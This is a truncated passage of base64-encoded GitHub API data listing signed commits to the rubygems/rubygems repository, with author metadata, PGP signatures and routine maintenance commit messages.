9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNzhiYzNiOGE2ODE2YTc0YTgyZTYxN2EwZmQ2NTc3NzgxNmQ4NDRhZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy83OGJjM2I4YTY4MTZhNzRhODJlNjE3YTBmZDY1Nzc3ODE2ZDg0NGFmIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzc4YmMzYjhhNjgxNmE3NGE4MmU2MTdhMGZkNjU3Nzc4MTZkODQ0YWYifV19LHsic2hhIjoiYjJmZGFjNmM0NWIzYWVhMTNiN2I4ZjYzOWE2Njc5NmNjZDZhNGYwMiIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tSXlabVJoWXpaak5EVmlNMkZsWVRFellqZGlPR1kyTXpsaE5qWTNPVFpqWTJRMllUUm1NREk9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMS0xNFQwMzoyNzo0MloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTExLTE0VDAzOjI3OjQyWiJ9LCJtZXNzYWdlIjoiVXBkYXRlIHZlbmRvcmVkIE1vbGluaWxsbyB0byAwLjUuNCIsInRyZWUiOnsic2hhIjoiMGU1ZTdjNzc5YjA4NjI3OThhZmE5OWM0N2U4MDg2NjQyNWE0MjNmNiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzBlNWU3Yzc3OWIwODYyNzk4YWZhOTljNDdlODA4NjY0MjVhNDIzZjYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9iMmZkYWM2YzQ1YjNhZWExM2I3YjhmNjM5YTY2Nzk2Y2NkNmE0ZjAyIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZS1M4dUFBb0pFQUVaVzdNVjNhaFdicEFQLzNzQkw1ZG9jc2NTZno1bEdzb3lKdnA4XG5kWFI3OGFlZU8zVEN3eHhQZzk3OC9McHdMR3ZqWFVZTFdoYmdCdjBPa1N5anorYjR4eTFEM0FIOTBTNTJCMUxPXG5nblR2MjJPWUhBQVJkb0xBTnNmd0dEUGw5RzVBaUNaRFdjWmlJNmg5em1Qako0VUpOUWt5NEtmNzV6OXJ6ZnZQXG5qcjNDVFJpckV0cFhPbjkwVUhmQlRYTEhXcWFGeGNDWmx2d1dSSkV5NzRMclhLb0pqaVZFM1JYNWdYb2kvWkxzXG55bkY3Q0E2YXM1cUluMVU0WkpEbWZlZG9hU2Z1bldjZUhQU0lvWDlLZ3ZrUGR3b3BvQkI3VTJ4cWdPa1VhSU9EXG4vY2tKZk5ka3IvaXVWNWtpMG90RkowR2dMdENtTlp1RXlJL0lzcEIxU092NGdJWTI0RkdvejhnMmpleUc5a0FsXG53UmdKRWQrNjBwcFMxM3FuQkZDUzdKbmZCVUVobGJmbWxWanJ5cGdFa2hGY05Od2pEUkY3SksyakRkU0JzZXdDXG4wd0xxQ2Z3V05kUnU0d3FvVjliYTNVNTVUVGVpMnd2YitNL09EdEJYbGdocjlhcWRuVG9sVWtFa2FzZ0JvemgzXG4wYVl3cG5qblluZVJqNVVsNjJKbVNLQTNwT0dOcitCaDl6ODltdkZQTHlCVUl6aWQ1a1kxeFpZVk9KUE5FUmk3XG5WMTVzdU5FVlJ1SHoveHdZc3NiUVl2a09teDVKdnlBTXAxL2IraUpIWURlZVovK0lUSUFxbTBNTnFaaDdGd1R3XG45bVhpLzhNN3VBdWdxTmVNcTE2OTBkaHliN2pMd3VTSzNTRVBRcFdQaC9oYTFJbXVJQ0pVa2hoVU1TUVFNRnQxXG4xMmtGcjRVbHdLVFg5dmVQbXFGOFxuPUlIMDFcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDBlNWU3Yzc3OWIwODYyNzk4YWZhOTljNDdlODA4NjY0MjVhNDIzZjZcbnBhcmVudCA0NGMyNzY2YjI2ZGEwYjRmNWE1NDZkNTE2YmMxOTZhZWQyMWViMmJlXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzkwOTQwNjIgLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3OTA5NDA2MiAtMDYwMFxuXG5VcGRhdGUgdmVuZG9yZWQgTW9saW5pbGxvIHRvIDAuNS40XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iMmZkYWM2YzQ1YjNhZWExM2I3YjhmNjM5YTY2Nzk2Y2NkNmE0ZjAyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2IyZmRhYzZjNDViM2FlYTEzYjdiOGY2MzlhNjY3OTZjY2Q2YTRmMDIiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYjJmZGFjNmM0NWIzYWVhMTNiN2I4ZjYzOWE2Njc5NmNjZDZhNGYwMi9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNDRjMjc2NmIyNmRhMGI0ZjVhNTQ2ZDUxNmJjMTk2YWVkMjFlYjJiZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80NGMyNzY2YjI2ZGEwYjRmNWE1NDZkNTE2YmMxOTZhZWQyMWViMmJlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzQ0YzI3NjZiMjZkYTBiNGY1YTU0NmQ1MTZiYzE5NmFlZDIxZWIyYmUifV19LHsic2hhIjoiY2FhMjdiNTYxNDIxODM3OWI0NTc0ZTNhMjhkZmQxNTRhNzk1ODEyYSIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tTmhZVEkzWWpVMk1UUXlNVGd6TnpsaU5EVTNOR1V6WVRJNFpHWmtNVFUwWVRjNU5UZ3hNbUU9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMS0xM1QyMjowMjozNFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTExLTEzVDIzOjI4OjQxWiJ9LCJtZXNzYWdlIjoiQnVtcCBidW5kbGVyIHN1Ym1vZHVsZSB0byBmaXggY29kZWNsaW1hdGUgb24gQ0kiLCJ0cmVlIjp7InNoYSI6ImZjNDRmMjQ2ODE4ODM0OGZmN2JiM2Q3Njk2MDc5NGU4ZjJmNzZlMWYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9mYzQ0ZjI0NjgxODgzNDhmZjdiYjNkNzY5NjA3OTRlOGYyZjc2ZTFmIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvY2FhMjdiNTYxNDIxODM3OWI0NTc0ZTNhMjhkZmQxNTRhNzk1ODEyYSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWUtQY3BBQW9KRUFFWlc3TVYzYWhXV3pNUC9pVnRCUmNQUUJocXlaVlhPak9hbUhEcFxuZk10eThlU3ZnNXNjZGNObUtqTHFnT3VmL0gxbXpJM2RaZERtRDBNREptclJ2WFR4ZlR5Z3NsSXRmbXE5MUROY1xuOU9XWEljcXZ3K0Y3R2o5dGFmRkxqL3N0Y3hoWEpIa2R4b2VOMnlGaU5wcHpjWmdEV28vQ2FWb3dGVW15RnFMRFxuYVlmSVFLaHAzTjJUWVJTN3hZem94QjhqWUhnWGxFYTdnU051MkdJQ0IxSE1FRWVYcjlQOFJmSVdCUHVGempDZ1xuSUpCRHExL1EydkVFV0VmZDFyN3pUMU1FUWxxQUJjbGhveXNQUXpVaC9Fb0Y2NFl3QmNzNkpKY0o5bmZWRWgzMFxuOGxSKzZkM1hWbEhlOEZ0V05nOFUyWTVVQWk2SzdIS1AwMjQvUHptWitmcnRBKzJkVVhTR0JrRGtaK28vQ2Z1QlxubUVwOW1ocHk2ZVpGQ1V4T3l1K3FDK2djVjFxZVkvaXltMmJtTWxzTGZXbm5rUVNWa3RMT2ZhRkFQOU1Ddk41WVxuVitiYzNZcVVZcFdQY21ocTVNTXdsK0k3R3BuL3hIT1VsZElGR2UzYlpJTkZpQXZUMndGYStYeTdacTBqQ1BNSVxuTnRLQkQreEJxVlQ2RlY3M0IyelJsNTdTS254Rk1YUFBpMm1ER1BVSU01R2pvU1JXbnVXYzViQmFWb1FqMVRXRVxuSXlaZzZkVzRjeFVUeksrdDQxbmVUNDNIbnVQOUFwYVRkdXY4Rk1LL3o1UEZCN3BOYXVhaHptSTRBMUVFSEhJd1xuRjNyNS9HMm9YdmFocWdPSVhNNWRZNmVZdjJRUlRGS0RyR1FaUU9vcm1veFQ1WVB4dVJFNDdvb3JNVFNESFljSFxuUlVyeGh5dEpQUVJtVU9BMDNEMWdcbj12b2J2XG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBmYzQ0ZjI0NjgxODgzNDhmZjdiYjNkNzY5NjA3OTRlOGYyZjc2ZTFmXG5wYXJlbnQgNjFiMWVkNTc0ZmMwNmVjOGE3MDRkM2I5NDQxYTI1NDNmZmJkNjRkZlxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc5MDc0NTU0IC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzkwNzk3MjEgLTA2MDBcblxuQnVtcCBidW5kbGVyIHN1Ym1vZHVsZSB0byBmaXggY29kZWNsaW1hdGUgb24gQ0lcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2NhYTI3YjU2MTQyMTgzNzliNDU3NGUzYTI4ZGZkMTU0YTc5NTgxMmEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvY2FhMjdiNTYxNDIxODM3OWI0NTc0ZTNhMjhkZmQxNTRhNzk1ODEyYSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jYWEyN2I1NjE0MjE4Mzc5YjQ1NzRlM2EyOGRmZDE1NGE3OTU4MTJhL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2MWIxZWQ1NzRmYzA2ZWM4YTcwNGQzYjk0NDFhMjU0M2ZmYmQ2NGRmIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYxYjFlZDU3NGZjMDZlYzhhNzA0ZDNiOTQ0MWEyNTQzZmZiZDY0ZGYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjFiMWVkNTc0ZmMwNmVjOGE3MDRkM2I5NDQxYTI1NDNmZmJkNjRkZiJ9XX0seyJzaGEiOiJmNjhjZGFkYTg2NzIxZDNhZGY0ZThjMTA2ZDI3N2Y5OWQyMDY3Y2Q2Iiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T21ZMk9HTmtZV1JoT0RZM01qRmtNMkZrWmpSbE9HTXhNRFprTWpjM1pqazVaREl3TmpkalpEWT0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEwLTI5VDE2OjQzOjQwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTAtMjlUMTY6NDM6NDBaIn0sIm1lc3NhZ2UiOiJNZXJnZSB0YWcgJ3YyLjYuOCciLCJ0cmVlIjp7InNoYSI6ImI2ZDIwMDViNzA5OWUwYmRiNjNiMzYxMTY0YjcwMWRhMDkxYWMxOTUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9iNmQyMDA1YjcwOTllMGJkYjYzYjM2MTE2NGI3MDFkYTA5MWFjMTk1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZjY4Y2RhZGE4NjcyMWQzYWRmNGU4YzEwNmQyNzdmOTlkMjA2N2NkNiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWUZORy9BQW9KRUFFWlc3TVYzYWhXak9VUC9pV2ozTUQyeHZVcmp6RUgvcWFDdGoxZVxubERqemFMRDFpM0lkeSs1bDNrcXJicjAzRFRzU3VYVlUyTnFoa1Q2UFhZWnNQMEFTUlB4RUlBR3dYSjZ4eUxqUlxuTTRKY29pekRDeDNjSFUzK0hHS2JoY1pSWnZpak5UTkFJUDJBc005dk9QRXZ5Q1NrSTdhZjFtNjdKbVpzWWtmUFxubkxHZTFpSHRnSHdzd2NKZk03eDhhMVhlcWFDc3RUaFU1bFBEY2xTdDFMcHNZQ2NJSVZpSkYw